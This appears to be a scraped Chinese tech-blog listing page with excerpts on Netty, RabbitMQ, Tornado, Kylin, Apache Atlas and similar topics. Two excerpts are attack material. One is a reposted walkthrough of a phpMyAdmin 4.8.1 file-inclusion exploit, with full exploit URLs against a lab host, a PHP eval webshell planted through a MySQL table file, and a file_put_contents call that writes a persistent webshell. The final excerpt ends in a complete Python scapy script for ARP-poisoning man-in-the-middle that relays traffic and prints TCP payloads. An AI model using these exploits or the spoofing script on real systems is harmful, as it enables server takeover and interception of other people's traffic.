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系统与容器
Linux
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Kubernetes
[Docker中自动创建本地挂载目录机制]的搜索结果
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SpringCloud
...构中,服务注册与发现机制允许各个服务自动向服务中心(如Nacos)注册自己的网络地址信息,并且能够在需要调用其他服务时从服务中心查找并连接到目标服务。在本文中,当Nacos配置不当导致无法正常访问时,影响了服务间的注册与发现过程,进而影响整个系统的稳定运行。 服务器配置文件(application.properties) , 在Java应用开发中,application.properties或application.yml等配置文件通常用于存储和管理应用运行时的各项参数设置。在Nacos的场景下,这个配置文件位于conf目录下,包含了诸如server.listen.ip等配置项,用来控制Nacos服务器监听的IP地址,从而决定了服务对外提供访问的能力范围。作者在文章中提到修改这个文件中的相关配置解决了Nacos本地访问失败的问题。
2023-10-25 17:55:17
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红尘漫步_t
Netty
...etty中的资源回收机制是非常重要的。 二、Netty中的资源管理 在Netty中,我们可以通过多种方式来管理资源,包括手动释放资源和自动垃圾回收。 2.1 手动释放资源 在Netty中,我们可以手动调用对象的close()方法来释放资源。例如,当我们创建一个Channel时,我们可以这样操作: java ServerBootstrap b = new ServerBootstrap(); ChannelFuture f = b.bind(new InetSocketAddress(8080)).sync(); f.channel().close(); 在这个例子中,我们首先创建了一个ServerBootstrap实例,然后绑定到本地的8080端口,并同步等待服务启动。最后,我们关闭了服务器通道。这就是手动释放资源的一种方式。 2.2 自动垃圾回收 除了手动释放资源外,Netty还提供了自动垃圾回收的功能。在Java中,我们通常会使用垃圾回收器来自动回收不再使用的对象。而在Netty中,我们也有一套类似的机制。 具体来说,Netty会定期检查系统中的活跃对象列表,如果发现某个对象已经不再被引用,就会将其加入到垃圾回收队列中,等待垃圾回收器对其进行清理。这其实是一种超级给力的资源管理方法,能够帮我们大大减轻手动清理资源的繁琐劳动。 三、Netty中的资源回收机制 那么,Netty中的资源回收机制又是怎样的呢?实际上,Netty主要通过两种方式来实现资源回收:一是使用垃圾回收器,二是使用内部循环池。 3.1 垃圾回收器 在Java中,我们通常会使用垃圾回收器来自动回收不再使用的对象。而在Netty中,我们也有一套类似的机制。 具体来说,Netty会定期检查系统中的活跃对象列表,如果发现某个对象已经不再被引用,就会将其加入到垃圾回收队列中,等待垃圾回收器对其进行清理。这其实是一种超级给力的资源管理方法,能够帮我们大大减轻手动清理资源的繁琐劳动。 3.2 内部循环池 除了垃圾回收器之外,Netty还使用了一种称为内部循环池的技术来管理资源。这种技术主要是用于处理一些耗时的操作,如IO操作等。 具体来说,Netty会在运行时预先分配一定的线程数量,并将这些线程放入一个线程池中。当我们要进行一项可能耗时较长的操作时,就可以从这个线程池里拽出一个线程宝宝出来帮忙处理任务。当这个操作圆满完成后,咱就顺手把这个线程塞回线程池里,让它继续在那片池子里由“线程大管家”精心打理它的生老病死。 这种方式的好处是,它可以有效地避免线程的频繁创建和销毁,从而提高了系统的效率。同时,由于线程池是由Netty管理的,所以我们可以不用担心资源的泄露问题。 四、结论 总的来说,Netty提供了多种有效的资源管理机制,可以帮助我们更好地管理和利用系统资源。无论是手动释放资源还是自动垃圾回收,都可以有效地避免资源的浪费和泄露。另外,Netty的独门秘籍——内部循环池技术,更是个狠角色。它能手到擒来地处理那些耗时费力的操作,让系统的性能和稳定性嗖嗖提升,真是个给力的小帮手。 然而,无论哪种资源管理方式,都需要我们在编写代码时进行适当的规划和设计。只有这样操作,咱们才能稳稳地保障系统的正常运行和高性能表现,而且还能顺带给避免那些烦人的资源泄露问题引发的各种故障和损失。所以,在用Netty做网络编程的时候,咱们不仅要摸透它的基本功能和操作手法,更得把它的资源管理机制给研究个门儿清,理解得透透的。
2023-03-21 08:04:38
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笑傲江湖-t
Netty
...java // 创建一个新的NIO ServerSocketChannel EventLoopGroup bossGroup = new NioEventLoopGroup(); EventLoopGroup workerGroup = new NioEventLoopGroup(); try { ServerBootstrap b = new ServerBootstrap(); b.group(bossGroup, workerGroup) .channel(NioServerSocketChannel.class) // 使用NioServerSocketChannel作为服务器的通道 .childHandler(new ChannelInitializer() { @Override public void initChannel(SocketChannel ch) throws Exception { ch.pipeline().addLast(new SimpleChannelInboundHandler() { @Override protected void channelRead0(ChannelHandlerContext ctx, String msg) throws Exception { System.out.println("Received message: " + msg); } }); } }); // Bind and start to accept incoming connections. ChannelFuture f = b.bind(8080).sync(); f.channel().closeFuture().sync(); } finally { bossGroup.shutdownGracefully(); workerGroup.shutdownGracefully(); } 在这段代码里,我们创建了一个NioServerSocketChannel,它是一个基于NIO的非阻塞服务器套接字通道。用bind()方法把Channel绑在了8080端口上。这样一来,每当有新连接请求进来,Netty就会自动接手,然后把这些请求转给对应的Channel去处理。 3. EventLoop是什么? 3.1 EventLoop的概念 EventLoop是Netty的核心组件之一,负责处理Channel上的所有I/O事件,包括读取、写入以及连接状态的变化。简单地说,EventLoop就像是个勤快的小秘书,不停地检查Channel上有没有新的I/O事件发生,一旦发现就马上调用对应的回调函数去处理。一个EventLoop可以管理多个Channel,但是一个Channel只能由一个EventLoop来管理。 3.2 EventLoop的例子 java EventLoopGroup group = new NioEventLoopGroup(); try { EventLoop eventLoop = group.next(); // 获取当前EventLoopGroup中的下一个EventLoop实例 eventLoop.execute(() -> { System.out.println("Executing task in EventLoop"); // 这里可以执行任何需要在EventLoop线程上运行的任务 }); eventLoop.schedule(() -> { System.out.println("Scheduled task in EventLoop"); // 这里可以执行任何需要在EventLoop线程上运行的任务 }, 5, TimeUnit.SECONDS); // 5秒后执行 } finally { group.shutdownGracefully(); } 在这段代码中,我们创建了一个NioEventLoopGroup,并从中获取了一个EventLoop实例。接着呢,我们在EventLoop线程上用execute()方法扔了个任务进去,还用schedule()方法设了个闹钟,打算5秒后自动执行另一个任务。这展示了EventLoop如何用来执行异步任务和定时任务。 4. Channel和EventLoop的区别 现在让我们来谈谈Channel和EventLoop之间的主要区别吧! 首先,Channel是用于表示网络连接的抽象类,而EventLoop则负责处理该连接上的所有I/O事件。换个说法就是,Channel就像是你和网络沟通的桥梁,而EventLoop就像是那个在后台默默干活儿的小能手。 其次,Channel可以拥有多种类型,如NioSocketChannel、OioSocketChannel等,而EventLoop则通常是固定类型的,比如NioEventLoop。这就意味着你不能随便更改一个Channel的类型,不过你可以换掉它背后的那个EventLoop。 最后,一个EventLoop可以管理多个Channel,但一个Channel只能被一个EventLoop所管理。这种设计让Netty用起来特别省心,既能高效使用系统资源,又避开了多线程编程里头那些头疼的竞态条件问题。 5. 结语 好了,到这里我们已经探讨了Netty中Channel和EventLoop的基本概念及其主要区别。希望这些内容能帮助你在实际开发中更好地理解和运用它们。如果你有任何疑问或者想要了解更多细节,请随时留言讨论!
2025-02-26 16:11:36
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醉卧沙场
Kylin
...设置了HDFS的工作目录以及HBase REST服务的URL地址,确保Kylin能访问到ClusterA上的数据。 2.2 配置数据源连接器(JDBC) 对于关系型数据库作为数据源的情况,还需要配置相应的JDBC连接信息。例如,若ClusterB上有一个MySQL数据库: properties kylin.source.jdbc.url=jdbc:mysql://ClusterB:3306/mydatabase?useSSL=false kylin.source.jdbc.user=myuser kylin.source.jdbc.pass=mypassword 3. 创建项目及模型并关联远程表 接下来,在Kylin的Web界面创建一个新的项目,并在该项目下定义数据模型。在选择数据表时,Kylin会根据之前配置的HDFS和JDBC连接信息自动发现远程集群中的表。 - 创建项目:在Kylin管理界面点击"Create Project",填写项目名称和描述等信息。 - 定义模型:在新建的项目下,点击"Model" -> "Create Model",添加从远程集群引用的表,并设计所需的维度和度量。 4. 构建Cube并对跨集群数据进行查询 完成模型定义后,即可构建Cube。Kylin会在后台执行MapReduce任务,读取远程集群的数据并进行预计算。构建完成后,您便可以针对这个Cube进行快速、高效的查询操作,即使这些数据分布在不同的集群上。 bash 在Kylin命令行工具中构建Cube ./bin/kylin.sh org.apache.kylin.tool.BuildCubeCommand --cube-name MyCube --project-name MyProject --build-type BUILD 至此,通过精心配置和一系列操作,您的Kylin环境已经成功支持了跨集群的数据源查询。在这一路走来,我们不断挠头琢磨、摸石头过河、动手实践,不仅硬生生攻克了技术上的难关,更是让Kylin在各种复杂环境下的强大适应力和灵活应变能力展露无遗。 总结起来,配置Kylin支持跨集群查询的关键在于正确设置数据源连接,并在模型设计阶段合理引用这些远程数据源。每一次操作都像是人类智慧的一次小小爆发,每查询成功的背后,都是我们对Kylin功能那股子钻研劲儿和精心打磨的成果。在这整个过程中,我们实实在在地感受到了Kylin这款大数据处理神器的厉害之处,它带来的便捷性和无限可能性,真是让我们大开眼界,赞不绝口啊!
2023-01-26 10:59:48
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月下独酌
RabbitMQ
...了一种可靠的消息传递机制。RabbitMQ,这可是一个基于AMQP协议的开源消息“快递员”,在微服务架构的世界里,它可是大显身手,被广泛用于各种消息传递的重要场合,堪称信息流通的桥梁。 本篇文章将重点介绍如何利用RabbitMQ实现发布/订阅模式。 二、什么是发布/订阅模式? 发布/订阅模式是一种软件设计模式,主要用于处理事件驱动的应用程序。在这种模式下,咱们可以这么理解:生产者,也可以叫它“发布君”,它的工作就是往一个特定的“消息中心”——也就是主题或者交换机那儿发送消息。而消费者呢,换个接地气的名字就是“订阅达人”,它们会先关注这个“消息中心”。这样一来,只要“发布君”有新消息发出,“订阅达人”就能第一时间接收到所有这些消息啦! 三、如何在RabbitMQ中实现发布/订阅模式? 在RabbitMQ中,我们可以通过以下几个步骤来实现发布/订阅模式: 1. 创建并配置RabbitMQ环境 首先,我们需要在本地安装RabbitMQ,并启动服务。启动后,我们可以使用管理控制台查看RabbitMQ的状态和信息。 2. 创建交换机和队列 在RabbitMQ中,交换机和队列是两个基本的概念。交换机负责路由消息,而队列则用于存储消息。在接下来这一步,咱要做的是构建一个直通交换机和两个队列。其中一个队列呢,是专门用来接住生产者发过来的消息;另一个队列呢,则是用来给消费者传递他们的回复消息滴。 3. 编写生产者代码 在生产者代码中,我们将通过RabbitMQ的客户端API发送消息。首先,咱们得先捯饬出一个连接和通道,就像是搭起一座桥,然后像变魔术一样整出一个交换机,再配上两个队列,这两个队列就想象成是咱的消息暂存站。最后一步,就是把消息往这个交换机上一放,就像把信投进邮筒那样,完成发布啦! python import pika 创建连接和通道 connection = pika.BlockingConnection(pika.ConnectionParameters('localhost')) channel = connection.channel() 创建交换机和队列 channel.exchange_declare(exchange='direct_logs', exchange_type='direct') 发布消息到交换机上 routing_key = 'INFO' message = "This is an info message" channel.basic_publish(exchange='direct_logs', routing_key=routing_key, body=message) print(" [x] Sent %r" % message) 关闭连接和通道 connection.close() 4. 编写消费者代码 在消费者代码中,我们将通过RabbitMQ的客户端API接收消息。首先,咱们得先搭起一座桥梁,建立起一条通道。然后,把队列和交换机牢牢地绑在一起。最后,从队列里取出消息,好好地“享用”一番。 python import pika 创建连接和通道 connection = pika.BlockingConnection(pika.ConnectionParameters('localhost')) channel = connection.channel() 绑定队列到交换机上 queue_name = 'log_queue' channel.queue_bind(queue=queue_name, exchange='direct_logs', routing_key='INFO') 消费消息 def callback(ch, method, properties, body): print(" [x] Received %r" % body) channel.basic_consume(queue=queue_name, on_message_callback=callback, auto_ack=True) 启动消费者 print(' [] Waiting for logs. To exit press CTRL+C') channel.start_consuming() 5. 运行代码并观察结果 现在,我们已经编写好了生产者和消费者的代码,接下来只需要运行这两个脚本就可以观察到发布/订阅模式的效果了。当生产者发送一条消息时,消费者会立即接收到这条消息,并打印出来。 四、总结 通过以上步骤,我们成功地在RabbitMQ中实现了发布/订阅模式。这简直就是个超级实用的编程模型,特别是在那些复杂的分布式系统里头,它能神奇地让不同应用程序之间的交流变得松耦合,这样一来,整个系统的稳定性和可靠性嗖嗖往上涨,就像给系统吃了颗定心丸一样。
2023-09-07 10:09:49
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诗和远方-t
.net
...g API,或者配合Docker和Kubernetes进行容器化部署,将是未来提升数据库操作能力和应对大数据挑战的关键。同时,持续关注.NET生态系统的更新和社区的最佳实践分享,将有助于在大数据时代更好地驾驭C进行数据库操作。
2024-04-07 11:24:46
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星河万里_
Tomcat
...示,采用容器化技术如Docker和Kubernetes,可以显著提升系统的可扩展性和响应速度。Kubernetes作为当前最流行的容器编排平台,不仅可以实现自动化的部署、扩展和管理,还能有效地管理复杂的微服务架构,确保每个服务都能高效运行,从而大幅提升网站的整体性能。 此外,云服务商提供的弹性计算资源也成为了许多企业优化性能的重要手段。阿里云ECS(Elastic Compute Service)等产品,可以根据实时流量自动调整计算资源,避免因资源不足而导致的性能下降。同时,云服务商还提供了丰富的监控和日志分析工具,帮助企业快速定位和解决问题,进一步提升网站的响应速度。 值得注意的是,除了技术层面的优化,合理的架构设计同样关键。例如,采用CDN(内容分发网络)可以将静态资源缓存在全球各地的边缘节点,减少用户访问延迟。而微前端架构则可以实现前端应用的解耦和模块化管理,提升前端渲染速度,从而改善用户体验。 总之,随着技术的不断发展,网站性能优化不再局限于单一的技术手段,而是需要综合运用多种技术和策略。通过结合容器化、弹性计算、CDN和合理的架构设计,企业可以构建更加高效、响应迅速的网站,为用户提供更好的体验。
2024-10-20 16:27:48
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雪域高原
Tornado
...它不堵车,能基于事件自动反应,超级适合处理异步操作!这就表示它能同时搞定很多任务,完全不会拖累主程序,让它干等着。这使得 Tornado 成为构建实时应用的理想选择。 2.1 Tornado 的核心概念 - Application:这是 Tornado 应用程序的入口点。你可以在这里定义路由、处理函数等。 - RequestHandler:这是处理 HTTP 请求的核心类。你需要继承这个类并重写 get、post 等方法来处理不同的请求类型。 - AsyncHTTPClient:这是一个异步的 HTTP 客户端,可以用来发送网络请求。 示例代码: python import tornado.ioloop import tornado.web class MainHandler(tornado.web.RequestHandler): def get(self): self.write("Hello, world!") def make_app(): return tornado.web.Application([ (r"/", MainHandler), ]) if __name__ == "__main__": app = make_app() app.listen(8888) tornado.ioloop.IOLoop.current().start() 这段代码创建了一个简单的 Tornado 应用,它监听 8888 端口,并在访问根路径时返回 "Hello, world!"。 3. 前端框架的集成 现在,我们来看看如何将 Tornado 与前端框架集成。这里,我们以 React 为例,但同样的原则也适用于 Vue 和 Angular。 3.1 静态文件服务 前端框架通常需要一个静态文件服务器来提供 HTML、CSS 和 JavaScript 文件。Tornado 可以很容易地实现这一点。 示例代码: python import tornado.ioloop import tornado.web class StaticFileHandler(tornado.web.StaticFileHandler): def set_extra_headers(self, path): 设置 Cache-Control 头,以便浏览器缓存静态文件 self.set_header('Cache-Control', 'max-age=3600') def make_app(): return tornado.web.Application([ (r"/static/(.)", StaticFileHandler, {"path": "./static"}), (r"/", MainHandler), ]) if __name__ == "__main__": app = make_app() app.listen(8888) tornado.ioloop.IOLoop.current().start() 在这个例子中,我们添加了一个静态文件处理器,它会从 ./static 目录中提供静态文件。这样一来,你的 React 应用就能通过 /static/ 这个路径找到需要的静态资源了。 3.2 实时数据传输 前端框架通常需要实时更新数据。Tornado 提供了 WebSocket 支持,可以轻松实现这一功能。 示例代码: python import tornado.ioloop import tornado.web import tornado.websocket class WebSocketHandler(tornado.websocket.WebSocketHandler): def open(self): print("WebSocket opened") def on_message(self, message): self.write_message(u"You said: " + message) def on_close(self): print("WebSocket closed") def make_app(): return tornado.web.Application([ (r"/ws", WebSocketHandler), (r"/", MainHandler), ]) if __name__ == "__main__": app = make_app() app.listen(8888) tornado.ioloop.IOLoop.current().start() 这段代码创建了一个 WebSocket 处理器,它可以接收来自客户端的消息并将其回传给客户端。你可以在 React 中使用 WebSocket API 来连接这个 WebSocket 服务器并实现双向通信。 4. 集成挑战与解决方案 在实际项目中,集成 Tornado 和前端框架可能会遇到一些挑战。比如,如何处理跨域请求、如何管理复杂的路由系统等。下面是一些常见的问题及解决方案。 4.1 跨域请求 如果你的前端应用和后端服务不在同一个域名下,你可能会遇到跨域请求的问题。Tornado 提供了一个简单的装饰器来解决这个问题。 示例代码: python from tornado import web class MainHandler(tornado.web.RequestHandler): @web.asynchronous @web.gen.coroutine def get(self): self.set_header("Access-Control-Allow-Origin", "") self.set_header("Access-Control-Allow-Methods", "GET, POST, OPTIONS") self.set_header("Access-Control-Allow-Headers", "Content-Type") self.write("Hello, world!") 在这个例子中,我们设置了允许所有来源的跨域请求,并允许 GET 和 POST 方法。 4.2 路由管理 前端框架通常有自己的路由系统。为了更好地管理路由,我们可以在Tornado里用URLSpec类来设置一些更复杂的规则,这样路由管理起来就轻松多了。 示例代码: python import tornado.ioloop import tornado.web class MainHandler(tornado.web.RequestHandler): def get(self): self.write("Hello, world!") class UserHandler(tornado.web.RequestHandler): def get(self, user_id): self.write(f"User ID: {user_id}") def make_app(): return tornado.web.Application([ (r"/", MainHandler), (r"/users/(\d+)", UserHandler), ]) if __name__ == "__main__": app = make_app() app.listen(8888) tornado.ioloop.IOLoop.current().start() 在这个例子中,我们定义了两个路由:一个是根路径 /,另一个是 /users/。这样,我们就可以更灵活地管理 URL 路由了。 5. 结语 通过以上的讨论,我们可以看到,虽然 Tornado 和前端框架的集成有一些挑战,但通过一些技巧和最佳实践,我们可以轻松地解决这些问题。希望这篇文章能帮助你在开发过程中少走弯路,享受编程的乐趣! 最后,我想说,编程不仅仅是解决问题的过程,更是一种创造性的活动。每一次挑战都是一次成长的机会。希望你能在这个过程中找到乐趣,不断学习和进步!
2025-01-01 16:19:35
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素颜如水
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...以上我们接触的全部是本地文件包含 说了本地文件包含,我们再来看远程文件包含 简单来说远程文件包含,就是可以包含其他主机上的文件,并当成php代码执行。 要实现远程文件包含的话,php配置的allow_url_include = on必须为on(开启) 来我们可以来实验一下,把这个配置打开。 “其他选项菜单”——“打开配置文件”——“php-ini” 打开配置文件,搜索allow_url_include 把Off改为On,注:第一个字母要为大写 之后要重启才能生效。 配置开启后,我们来远程文件包含一下,我们来远程包含一下kali上的1.txt,可以看到没有本地包含,所以直接显示的内容。 那我们现在来远程包含一下kali的这个1.txt,看会不会有phpinfo,注意我这里是index文件哦,所以是默认的。 可以看到,包含成功! 这里可以插一句题外话,如果是window服务器的话,可以让本地文件包含变成远程文件包含。需要开始XX配置,SMB服务。 这里我们可以发现,进入一个不存在的目录,然后再返回上一级,相当于没变目录位置,这个是不影响的,而且这个不存在的目录随便怎么写都可以。 但是php是非常严格的,进入一个不存在的目录,这里目录的名字里不能有?号,否则报错,然后再返回上一级,相当于没变目录位置,这个是不影响的,而且这个不存在的目录随便怎么写都可以。 实战 注意,这里php版本过低,会安装不上 安装好后,我们来解析下源码 1.txt内容phpinfo() 来本地文件包含一下,发现成功 http://127.0.0.1/phpmyadmin/phpMyAdmin-4.8.1-all-languages/index.php?target=db_sql.php%253f/../11.txt 靶场 http://59.63.200.79:8010/lfi/phpmyadmin/ 先创建一个库名:nf 接着创建表:ff,字段数选2个就行了 然后选中我们之前创建好的库名和表名,开始写入数据,第一个就写个一句话木马,第二个随便填充。 然后我们找到存放表的路径。 这里我们要传参2个,那么就加上&这里我们找到之后传参phpinfo http://59.63.200.79:8010/phpmyadmin/phpMyAdmin-4.8.1-all-languages/index.php?target=db_sql.php%253f/…/…/…/…/…/phpstudy/mysql/data/nf/ff.frm&a=phpinfo(); 因为a在ff.frm里 <?php eval($_REQUEST[a])?>注意,这里面没有分号和单引号 文件包含成功 用file_put_contents(‘8.php’,’<?php eval($_REQUEST[a]);?>’)写入一句话木马 http://59.63.200.79:8010/phpmyadmin/phpMyAdmin-4.8.1-all-languages/index.php?target=db_sql.php%253f/…/…/…/…/…/phpstudy/mysql/data/nf/ff.frm&a=file_put_contents(‘8.php’,’<?php eval($_REQUEST[a])?>’); <?php eval($_REQUEST[a])?>注意,这里面没有分号和单引号 写入成功后,我们连接这个8.php的木马。 http://59.63.200.79:8010/phpmyadmin/phpMyAdmin-4.8.1-all-languages/8.php 在线测试时这样,但是我在本地测试的时候,还是有点不一样的。我就直接上不一样的地方,前面的地方都是一样的 1,创建一个库为yingqian1984, 2,创建一个表为yq1984 3,填充表数据,因为跟上面一样,2个字段一个木马,一个随便数据 4,找数据表的位置,最后我发现我的MySQL存放数据库的地方是在 C:\ProgramData\MySQL\MySQL Server 5.7\Data\yingqian1984 文件包含成功。 http://127.0.0.1/phpmyadmin/phpMyAdmin-4.8.1-all-languages/index.php?target=db_sql.php%253f/…/…/…/…/ProgramData/MySQL/MySQL Server 5.7/Data/yingqian1984/qy1984.frm&a=phpinfo(); 用file_put_contents(‘9.php’,’<?php eval($_REQUEST[a]);?>’)写入一句话木马 http://127.0.0.1/phpmyadmin/phpMyAdmin-4.8.1-all-languages/index.php?target=db_sql.php%253f/…/…/…/…/ProgramData/MySQL/MySQL Server 5.7/Data/yingqian1984/qy1984.frm&a=file_put_contents(‘9.php’,’<?php eval($_REQUEST[a])?>’); <?php eval($_REQUEST[a])?>注意,这里面没有分号和单引号 传参成功 http://127.0.0.1/phpmyadmin/phpMyAdmin-4.8.1-all-languages/9.php?a=phpinfo(); 本篇文章为转载内容。原文链接:https://blog.csdn.net/qq_45300786/article/details/108724251。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2024-01-06 09:10:40
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...碍,深入理解代码运行机制。 IPython , IPython是一个专为人类设计的增强型交互式Python shell环境,相比标准Python shell提供了更多高级功能,例如自动补全、自动缩进、内建bash命令支持等。它不仅适合日常脚本开发和测试,更是科学计算和数据探索的强大平台,支持即时结果显示与交互操作,使得数据分析和复杂计算更为高效便捷。 Jupyter Notebook , Jupyter Notebook是一种基于Web的应用程序,允许用户创建和分享包含实时代码、方程、可视化内容以及文本注释的文档(称为“notebook”)。它支持多种编程语言,但在Python编程领域尤其流行,是数据科学家和机器学习工程师进行数据清洗、分析、建模和结果展示的重要工具,因其能将代码、结果和说明文档整合在一个易于共享和重复使用的文档格式中而广受好评。 Anaconda , Anaconda是一款开源的数据科学平台,包含了包管理器(Conda)和Python发行版。Anaconda主要针对数据科学、机器学习和大数据处理等领域,预装了大量常用的数据科学库和工具,简化了Python环境下各种软件包的安装和管理,同时提供了一种隔离的环境管理系统,使用户能够轻松管理和切换不同版本的Python及其依赖库,从而解决多项目、多版本共存时可能遇到的问题。 Skulpt , Skulpt是一个使用JavaScript实现的在线Python解释器,能够在浏览器端直接执行Python代码。这意味着开发者或教师无需本地安装Python环境,就能让学生或用户在线上体验编写和运行Python程序,大大降低了教学和实践的门槛,方便人们快速入门Python编程或者进行简单的线上演示与交互。
2023-11-14 09:38:26
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Apache Atlas
...las建立统一的数据目录,标记各类型数据,并设置搜索规则,使得所有员工都能快速找到所需数据。 代码示例: python from atlasclient.client import Atlas 创建Atlas客户端实例 atlas = Atlas('http://localhost:21000', 'admin', 'password') 定义数据目录结构 data_directory = { "name": "ecommerce_products", "description": "A directory for all ecommerce product data.", "classification": "Data_Catalog" } 注册数据目录 response = atlas.entity.create_entity(data_directory) print(response) 此代码片段展示了如何使用Python客户端API向Atlas注册一个新的数据目录。 3.2 加强数据安全控制 背景:一家金融机构需要严格控制敏感信息的访问权限。 解决方案:通过Apache Atlas实施细粒度的数据访问控制策略,如基于角色的访问控制(RBAC)。 代码示例: python 定义用户角色及对应的权限 roles = [ {"name": "admin", "permissions": ["read", "write"]}, {"name": "analyst", "permissions": ["read"]} ] for role in roles: 创建角色 response = atlas.discovery.find_entities_by_type(role['name']) if not response.entities: atlas.discovery.create_entity({"typeName": role['name'], "attributes": {"name": role['name']} }) print(f"Role {role['name']} created.") 该示例演示了如何使用Atlas API动态创建用户角色及其权限。 3.3 数据质量监控 背景:一家电信公司希望实时监控网络数据的质量,以保障服务稳定。 解决方案:结合Apache Atlas与数据质量监控工具,定期检查数据完整性、准确性等指标。 代码示例: python 假设已定义好数据质量规则 quality_rules = [{"field": "connection_status", "rule": "must_be_online"}] 应用规则到指定数据集 for rule in quality_rules: response = atlas.discovery.find_entities_by_type(rule['field']) if response.entities: 执行具体的数据质量检查逻辑 pass 此段代码用于根据预设的数据质量规则检查特定字段的数据状态。 4. 结语 从上述案例中我们可以看出,Apache Atlas不仅提供了丰富的功能来满足企业数据治理的需求,而且通过灵活的API接口,能够轻松集成到现有的IT环境中。当然啦,要想让工具用得好,企业得先明白数据治理有多重要,还得有条不紊地去规划和执行才行。未来,随着技术的发展,相信Apache Atlas会在更多场景下发挥其独特价值。 --- 以上就是关于“Apache Atlas:数据治理效能提升的案例研究”的全部内容。希望这篇分析能让大家更清楚地看到数据治理对现代企业有多重要,还能学到怎么用Apache Atlas这个强大的工具来升级自己的数据管理系统,让它变得更高效、更好用。如果您有任何疑问或想要分享您的看法,请随时留言交流!
2024-11-10 15:39:45
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烟雨江南
Tomcat
...是指通过容器技术(如Docker)将应用程序及其依赖打包成独立、可移植的单元,使应用可以在任何环境中运行,不受底层操作系统、硬件或库版本的影响。容器化有助于实现应用的快速部署、扩展和管理,提高资源利用率,并简化跨环境的一致性。 名词 , 云原生。 解释 , 云原生是一种设计和构建应用程序的方法,旨在充分利用云计算的优势,如自动扩展、高可用性、容器化和微服务架构。云原生应用被设计为可部署到云平台,具有高度的灵活性、可移植性和可伸缩性,能够快速响应业务需求的变化,提高开发效率和运营成本效益。 名词 , 微服务架构。 解释 , 微服务架构是一种将大型应用程序分解为一组小型、独立、可部署的服务的设计模式。每个服务负责处理特定的业务功能,通过API进行通信。这种架构提高了系统的可维护性、可扩展性和可重用性,允许团队并行开发和部署服务,同时也降低了单点故障的风险。微服务架构适用于需要高度定制化、快速迭代和灵活部署的应用场景。
2024-08-02 16:23:30
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青春印记
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...rp_init,其会创建arp_tbl neighbour_table 包含 neighbour 邻居子系统的状态转换 其状态信息是存放在neighbour结构的nud_state字段的 可以分析neigh_update与neigh_timer_handler函数,来理解他们之间的转换关系。 NUD_NONE: 表示刚刚调用neigh_alloc创建neighbour NUD_IMCOMPLETE 发送一个请求,但是还未收到响应。如果经过一段时间后,还是没有收到响应,则查看发送请求数是否超过上限,如果超过则转到NUD_FAILED,否则继续发送请求。如果接受到响应则转到NUD_REACHABLE NUD_REACHABLE: 表示目标可达。如果经过一段时间,未有到达目标的数据包,则转为NUD_STALE状态 NUD_STALE 在此状态,如果有用户准备发送数据,则切换到NUD_DELAY状态 NUD_DELAY 该状态会启动一个定时器,然后接受可到达确认,如果定时器过期之前,收到可到达确认,则将状态切换到NUD_REACHABLE,否则转换到NUD_PROBE状态。 NUD_PROBE 类似NUD_IMCOMPLETE状态 NUD_FAILED 不可达状态,准备删除该neighbour 各种状态之间的切换,也可以通过scapy构造数据包发送并通过Linux 下的 ip neigh show 命令查看 ARP接收处理函数分析 ARP的接收处理函数为arp_process(位于net/ipv4/arp.c)中 我们分情况讨论arp_process的处理函数并结合scapy发包来分析处理过程 当为ARP请求数据包,且能找到到目的地址的路由 如果不是发送到本机的ARP请求数据包,则看是否需要进行代理ARP处理 如果是发送到本机的ARP请求数据包,则分neighbour的状态进行讨论,但是通过分析发现,不论当前neighbour是处于何种状态(NUD_FAILD、NUD_NONE除外),则都会将状态切换成 NUD_STALE状态,且mac地址不相同时,则会切换到本次发送方的mac地址 当为ARP请求数据包,不能找到到目的地址的路由 不做任何处理 当为ARP响应数据包 如果没有对应的neighbour,则不做任何处理。如果该neighbour存在,则将状态切换为NUD_REACHABLE,MAC地址更换为本次发送方的地址 中间人攻击原理 通过以上分析,可以向受害主机A发送ARP请求数据包,其中请求包中将源IP地址,设置成为受害主机B的IP地址,这样,就会将主机A中的B的 MAC缓存,切换为我们的MAC地址。 同理,向B中发送ARP请求包,其中源IP地址为A的地址 然后,我们进行ARP数据包与IP数据包的中转,从而达到中间人攻击。 使用Python scapy包,实现中间人攻击: 环境 python3 ubuntu 14.04 VMware 虚拟专用网络 代码 !/usr/bin/python3from scapy.all import import threadingimport timeclient_ip = "192.168.222.186"client_mac = "00:0c:29:98:cd:05"server_ip = "192.168.222.185"server_mac = "00:0c:29:26:32:aa"my_ip = "192.168.222.187"my_mac = "00:0c:29:e5:f1:21"def packet_handle(packet):if packet.haslayer("ARP"):if packet.pdst == client_ip or packet.pdst == server_ip:if packet.op == 1: requestif packet.pdst == client_ip:pkt = Ether(dst=client_mac,src=my_mac)/ARP(op=1,pdst=packet.pdst,psrc=packet.psrc)sendp(pkt)if packet.pdst == server_ip:pkt = Ether(dst=server_mac,src=my_mac)/ARP(op=1,pdst=packet.pdst,psrc=packet.psrc)sendp(pkt)pkt = Ether(dst=packet.src)/ARP(op=2,pdst=packet.psrc,psrc=packet.pdst) replysendp(pkt)if packet.op == 2: replyif packet.pdst == client_ip:pkt = Ether(dst=client_mac,src=my_mac)/ARP(op=2,pdst=packet.pdst,psrc=packet.psrc)sendp(pkt)if packet.pdst == server_ip:pkt = Ether(dst=server_mac,src=my_mac)/ARP(op=2,pdst=packet.pdst,psrc=packet.psrc)sendp(pkt)if packet.haslayer("IP"):if packet[IP].dst == client_ip or packet[IP].dst == server_ip:if packet[IP].dst == client_ip:packet[Ether].dst=client_macif packet[IP].dst == server_ip:packet[Ether].dst=server_macpacket[Ether].src = my_macsendp(packet)if packet.haslayer("TCP"):print(packet[TCP].payload)class SniffThread(threading.Thread):def __init__(self):threading.Thread.__init__(self)def run(self):sniff(prn = packet_handle,count=0)class PoisoningThread(threading.Thread):__src_ip = ""__dst_ip = ""__mac = ""def __init__(self,dst_ip,src_ip,mac):threading.Thread.__init__(self)self.__src_ip = src_ipself.__dst_ip = dst_ipself.__mac = macdef run(self):pkt = Ether(dst=self.__mac)/ARP(pdst=self.__dst_ip,psrc=self.__src_ip)srp1(pkt)print("poisoning thread exit")if __name__ == "__main__":my_sniff = SniffThread()client = PoisoningThread(client_ip,server_ip,client_mac)server = PoisoningThread(server_ip,client_ip,server_mac)client.start()server.start()my_sniff.start()client.join()server.join()my_sniff.join() client_ip 为发送数据的IP server_ip 为接收数据的IP 参考质料 Linux邻居协议 学习笔记 之五 通用邻居项的状态机机制 